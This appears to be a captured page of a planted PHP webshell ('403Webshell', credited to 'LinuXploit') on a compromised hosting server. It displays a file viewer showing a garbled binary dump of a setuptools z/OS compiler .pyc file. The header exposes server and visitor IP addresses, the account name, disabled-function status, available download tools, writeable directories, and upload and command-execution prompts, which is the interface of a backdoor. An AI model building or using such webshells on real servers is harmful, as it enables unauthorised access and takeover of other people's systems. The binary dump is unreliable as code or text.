403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.216.220
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/setuptools/_distutils/compilers/C/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/setuptools/_distutils/compilers/C/__pycache__/zos.cpython-313.pyc
�

�h����SrSSKrSSKJr SSKJr SSKJr SSKJr /S	Q/S
Q/SQS.r/S	Q/S
Q/S
QS.r	/SQ//S.r
/SS/SS/S.r"SS\R5rg)a�distutils.zosccompiler

Contains the selection of the c & c++ compilers on z/OS. There are several
different c compilers on z/OS, all of them are optional, so the correct
one needs to be chosen based on the users input. This is compatible with
the following compilers:

IBM C/C++ For Open Enterprise Languages on z/OS 2.0
IBM Open XL C/C++ 1.1 for z/OS
IBM XL C/C++ V2.4.1 for z/OS 2.4 and 2.5
IBM z/OS XL C/C++
�N�)�	sysconfig)�DistutilsExecError�)�unix)�CompileError)z-m64z-fvisibility=defaultz-fzos-le-char-mode=asciiz-fno-short-enums)
�-q64�-qexportall�-qascii�-qstrict�	-qnocsect�-Wa,asa,goff�
-Wa,xplink�
-qgonumber�
-qenum=int�-Wc,DLL)r	r
rrr
rrrrrz-qlanglvl=extc99)�
ibm-openxl�ibm-xlclang�ibm-xlc)r	r
rrr
rrrrrz-qlanglvl=extended0x)z-fasmz-fno-integrated-asz	-Wa,--ASAz
-Wa,--GOFFz-Wl,dllr	c�x^�\rSrSr/SQr/SQrS/rSrSU4SjjrSr	Sr
SU4S	jjrS
rU=r
$)
�Compiler�i)z.c�.C�.cc�.cxx�.cppz.m�.s)rrrrrc�X�SVs/sHKn[RRUS5=n(dM,[RR	U5PMM nn[U5S:Xag0nSHnSXE'M	 SHnSXE'M	 SHnSXE'M	 URUSS5$s snf)	N)�CC�CXX�LDSHAREDrr)z	ibm-clangzibm-clang64zibm-clang++z
ibm-clang++64�clangzclang++zclang-14)�xlclangz	xlclang++�njscznjsc++r)�xlc�xlCzxlc++r)�os�environ�get�path�basename�len)�self�envvar�binary�zos_compiler_names�
zos_compilers�compilers      �G/usr/lib/python3/dist-packages/setuptools/_distutils/compilers/C/zos.py�_get_zos_compiler_name�Compiler._get_zos_compiler_namens���4�
�3���*�*�.�.���6�6��6�
%�B�G�G���V�$�3�	�
�
�!�"�a�'���
�
�H�'3�M�#�
�C�H�&3�M�#�C�0�H�&/�M�#�0�� � �!3�A�!6��E�E��5
s
�+B'�#B'c�|>�[TU]XU5 UR5Ul[R
"U5 g)N)�super�__init__r4�zos_compilerr�customize_compiler)r-�verbose�dry_run�force�	__class__s    �r3r8�Compiler.__init__�s1���
����5�1� �7�7�9����$�$�T�*�c�6�/nX0R;a/URnUR[UR5 O�X0R
;aQURnUR[UR5 UR[UR5 O.URnUR[UR5 URU5 URX�-USU/-U-5 g![an	[U	5eSn	A	ff=f)Nz-o)�_cpp_extensions�compiler_cxx�extend�	_cxx_argsr9�_asm_extensions�compiler_so�_cc_args�	_asm_args�spawnrr)
r-�obj�src�ext�cc_args�extra_postargs�pp_opts�
local_argsr2�msgs
          r3�_compile�Compiler._compile�s����
��&�&�&��(�(�H����i��(9�(9�:�;�
�(�(�
(��'�'�H����h�t�'8�'8�9�:����i��(9�(9�:�;��'�'�H����h�t�'8�'8�9�:����'�"�	$��J�J�x�,��T�3�/?�?�.�P�Q��!�	$��s�#�#��	$�s�!C>�>
D�D�Dc��SU-$)Nz-L�)r-�dirs  r3�runtime_library_dir_option�#Compiler.runtime_library_dir_option�s���c�z�r@c�r>�[R"S5n[R(a9[RR[R"S5SUS35nOM[RR[R"S5[R"S5SUS35n[RR
U5(aU(aURU5 OU/nU(a�UH{nUSSHon[RRUUS35n[RR
U5(dMLURU5 URU5  My M} UR[UR5 [TU]5UUUUUUUUU	U
UUU
5
 g)N�	LDVERSION�abs_builddir�	libpythonz.x�installed_base�
platlibdir)r�get_config_var�python_buildr'r*�join�exists�append�removerD�_ld_argsr9r7�link)r-�target_desc�objects�output_filename�
output_dir�	libraries�library_dirs�runtime_library_dirs�export_symbols�debug�
extra_preargsrO�
build_temp�target_lang�	ldversion�side_deck_pathrW�library�library_side_deckr>s                   �r3rg�
Compiler.link�so���$�,�,�[�9�	��!�!��W�W�\�\��(�(��8��I�;�b�)��N�
 �W�W�\�\��(�(�)9�:��(�(��6��I�;�b�)��N��7�7�>�>�.�)�)���%�%�n�5�"0�!1�� �+��(��|�G�(*�����S�W�I�R�.�(I�%��w�w�~�~�&7�8�8�!�(�(��1�&�-�-�.?�@�� ,�,�	���h�t�'8�'8�9�:�
��������� �������	
r@)r9)FFF)
NNNNNFNNNN)�__name__�
__module__�__qualname__�__firstlineno__�src_extensionsrBrFr4r8rSrXrg�__static_attributes__�
__classcell__)r>s@r3rrisU���D�N�3�O��f�O�F�:+�
$�&����!�������@
�@
r@r)
�__doc__r'�r�errorsrrrrHrErIrfrrVr@r3�<module>r�s����
��(�� ����' ��F���' 
�	�FM���
�	���v�&��6�"���}
�t�}�}�}
r@

Youez - 2016 - github.com/yon3zu
LinuXploit